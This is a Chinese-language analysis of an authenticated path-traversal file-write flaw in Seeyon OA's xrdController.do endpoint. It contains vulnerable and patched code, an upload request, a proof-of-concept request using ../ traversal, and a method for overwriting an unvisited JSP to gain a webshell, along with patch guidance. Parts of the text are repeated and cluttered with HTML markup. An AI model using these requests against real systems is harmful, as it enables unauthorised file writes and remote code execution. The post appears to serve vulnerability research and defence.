某远OA xrdController.do后台文件复制漏洞分析<\/h1>

漏洞概述<\/h2>
某远OA系统xrdController.do接口存在文件复制漏洞，攻击者可通过构造特定参数实现任意文件写入，在特定条件下可导致远程代码执行。<\/p>

漏洞补丁信息<\/h2>
官方补丁地址<\/strong>：https:\/\/service.seeyon.com\/patchtools\/tp.html#\/patchList?type=安全补丁&id=135<\/p>
影响版本<\/strong>：某远A8-v8.2SP1及之前版本<\/p>

漏洞复现环境<\/h2>

某远A8-v8.2SP1<\/li>
需要登录凭证<\/li> <\/ul>
漏洞详细分析<\/h2>
1. 漏洞位置<\/h3>
漏洞位于xrdController.do<\/code>控制器的checkIsSign<\/code>方法中，主要问题在于对fileName<\/code>参数处理不当。<\/p>
2. 漏洞代码分析<\/h3> 补丁前后对比<\/h4> 漏洞版本<\/strong>：<\/p> \/\/ 直接通过HTTP参数拼接路径，未进行安全过滤 <\/span><\/span><\/span><\/span>String fileName =<\/span> request.<\/span>getParameter<\/span>(<\/span>"fileName"<\/span>);<\/span> <\/span><\/span>String copyPath =<\/span> file.<\/span>getParent<\/span>()<\/span> +<\/span> File.<\/span>separator<\/span> +<\/span> "xrd"<\/span> +<\/span> File.<\/span>separator<\/span> +<\/span> fileName;<\/span> <\/span><\/span><\/code><\/pre>修复版本<\/strong>：<\/p> \/\/ 使用规范化路径处理，防止目录穿越 <\/span><\/span><\/span><\/span>fileName =<\/span> (<\/span>new<\/span> File(<\/span>Strings.<\/span>getCanonicalPath<\/span>(<\/span>fileName))).<\/span>getName<\/span>();<\/span> <\/span><\/span><\/code><\/pre>3. 参数构造分析<\/h3> 请求参数要求：<\/h4> summaryId<\/code>：任意值（如123）<\/li> attList<\/code>：格式为{fildData[0]}${fildData[1]}<\/code>，其中： fildData[0]<\/code>：文件ID（通过文件上传获取）<\/li> fildData[1]<\/code>：文件名（可包含路径穿越字符）<\/li> <\/ul> <\/li> <\/ul> 文件上传获取fileId：<\/h4> POST<\/span> \/seeyon\/fileUpload.do?method=processUpload&type=0&firstSave=true&inputId=localImport&applicationCategory=1&extensions=txt&quantity=1&maxSize=52428800&isEncrypt=false&popupTitleKey=&attachmentTrId=poiLocalImport&callMethod=localImportPortalPackgeCallBack HTTP<\/span>\/<\/span>1.1<\/span> <\/span><\/span>Host:<\/span> 192.168.81.194<\/span> <\/span><\/span>Content-Type:<\/span> multipart\/form-data; boundary=----WebKitFormBoundaryD4liNoBEBG7u06fv<\/span> <\/span><\/span>Cookie:<\/span> [有效会话Cookie]<\/span> <\/span><\/span> <\/span><\/span>------WebKitFormBoundaryD4liNoBEBG7u06fv <\/span><\/span>Content-Disposition: form-data; name="upload"; filename="333.txt" <\/span><\/span>Content-Type: text\/plain <\/span><\/span> <\/span><\/span>123123 <\/span><\/span>------WebKitFormBoundaryD4liNoBEBG7u06fv-- <\/span><\/span><\/code><\/pre>4. 漏洞利用原理<\/h3> 关键代码路径：<\/h4> String copyPath =<\/span> file.<\/span>getParent<\/span>()<\/span> +<\/span> File.<\/span>separator<\/span> +<\/span> "xrd"<\/span> +<\/span> File.<\/span>separator<\/span> +<\/span> fileName;<\/span> <\/span><\/span>CtpLocalFile output =<\/span> new<\/span> CtpLocalFile(<\/span>copyPath +<\/span> File.<\/span>separator<\/span> +<\/span> fileName);<\/span> <\/span><\/span><\/code><\/pre>路径穿越分析：<\/h4> 正常情况<\/strong>：输入\/..\/..\/..\/Apa\/web1\/test<\/code><\/p> 输出路径：\/see\/ba\/temp\/xr\/..\/..\/..\/Apa\/web1\/test\/..\/..\/..\/Apa\/web1\/test<\/code><\/li> 最终路径：\/see\/Apa\/web1\/test<\/code><\/li> <\/ul> <\/li> 特殊限制<\/strong>：由于路径拼接方式，穿越层级受到限制，最多只能回退3级目录。<\/p> <\/li> <\/ol> 5. 绕过技术<\/h3> 文件覆盖技术：<\/h4> 通过指定已存在的文件路径进行覆盖，避免创建新文件夹的限制：<\/p> 如果目标文件不存在，系统会先创建文件夹再创建文件<\/li> 如果目标文件已存在，直接进行文件覆盖<\/li> <\/ul> RCE实现条件：<\/h4> 找到Web目录中未被访问过的JSP文件<\/li> 通过文件覆盖写入恶意JSP代码<\/li> 访问该JSP文件触发代码执行<\/li> 注意<\/strong>：某远OA的Web目录不支持热加载，已访问过的JSP文件有缓存<\/li> <\/ol> 6. 漏洞利用POC<\/h3> GET<\/span> \/seeyon\/xrdController.do?method=checkIsSign&summaryId=123&attList={文件ID}${..\/..\/..\/路径\/文件名} HTTP<\/span>\/<\/span>1.1<\/span> <\/span><\/span>Host:<\/span> 目标服务器<\/span> <\/span><\/span>RequestType:<\/span> AJAX<\/span> <\/span><\/span>Content-Type:<\/span> application\/x-www-form-urlencoded;charset=UTF-8<\/span> <\/span><\/span>Cookie:<\/span> [有效会话Cookie]<\/span> <\/span><\/span><\/code><\/pre>7. 漏洞验证结果<\/h3> 成功实现任意文件写入，在特定条件下可获取Webshell实现远程代码执行。<\/p> 防护建议<\/h2> 及时安装官方安全补丁<\/li> 对用户输入的路径参数进行规范化处理和严格验证<\/li> 实施最小权限原则，限制Web应用的文件系统访问权限<\/li> 定期进行安全审计和漏洞扫描<\/li> <\/ol> 技术要点总结<\/h2> 漏洞根源：未对用户输入的fileName参数进行安全过滤<\/li> 利用关键：通过目录穿越实现任意文件写入<\/li> 绕过技巧：利用文件覆盖机制突破路径限制<\/li> RCE条件：需要结合Web目录特性和文件覆盖技术<\/li> <\/ol> 免责声明<\/strong>：本文仅用于安全研究和教育目的，禁止用于非法攻击活动。<\/p>

某远OA xrdController.do后台文件复制漏洞分析<\/h1>

漏洞概述<\/h2> 某远OA系统xrdController.do接口存在文件复制漏洞，攻击者可通过构造特定参数实现任意文件写入，在特定条件下可导致远程代码执行。<\/p>

漏洞补丁信息<\/h2> 官方补丁地址<\/strong>：https:\/\/service.seeyon.com\/patchtools\/tp.html#\/patchList?type=安全补丁&id=135<\/p> 影响版本<\/strong>：某远A8-v8.2SP1及之前版本<\/p>

漏洞详细分析<\/h2>

1. 漏洞位置<\/h3> 漏洞位于xrdController.do<\/code>控制器的checkIsSign<\/code>方法中，主要问题在于对fileName<\/code>参数处理不当。<\/p>

3. 参数构造分析<\/h3>

4. 漏洞利用原理<\/h3>

7. 漏洞验证结果<\/h3> 成功实现任意文件写入，在特定条件下可获取Webshell实现远程代码执行。<\/p>

漏洞概述<\/h2>
某远OA系统xrdController.do接口存在文件复制漏洞，攻击者可通过构造特定参数实现任意文件写入，在特定条件下可导致远程代码执行。<\/p>

漏洞补丁信息<\/h2>
官方补丁地址<\/strong>：https:\/\/service.seeyon.com\/patchtools\/tp.html#\/patchList?type=安全补丁&id=135<\/p>
影响版本<\/strong>：某远A8-v8.2SP1及之前版本<\/p>

1. 漏洞位置<\/h3>
漏洞位于`xrdController.do<\/code>控制器的checkIsSign<\/code>方法中，主要问题在于对fileName<\/code>参数处理不当。<\/p>`

7. 漏洞验证结果<\/h3>
成功实现任意文件写入，在特定条件下可获取Webshell实现远程代码执行。<\/p>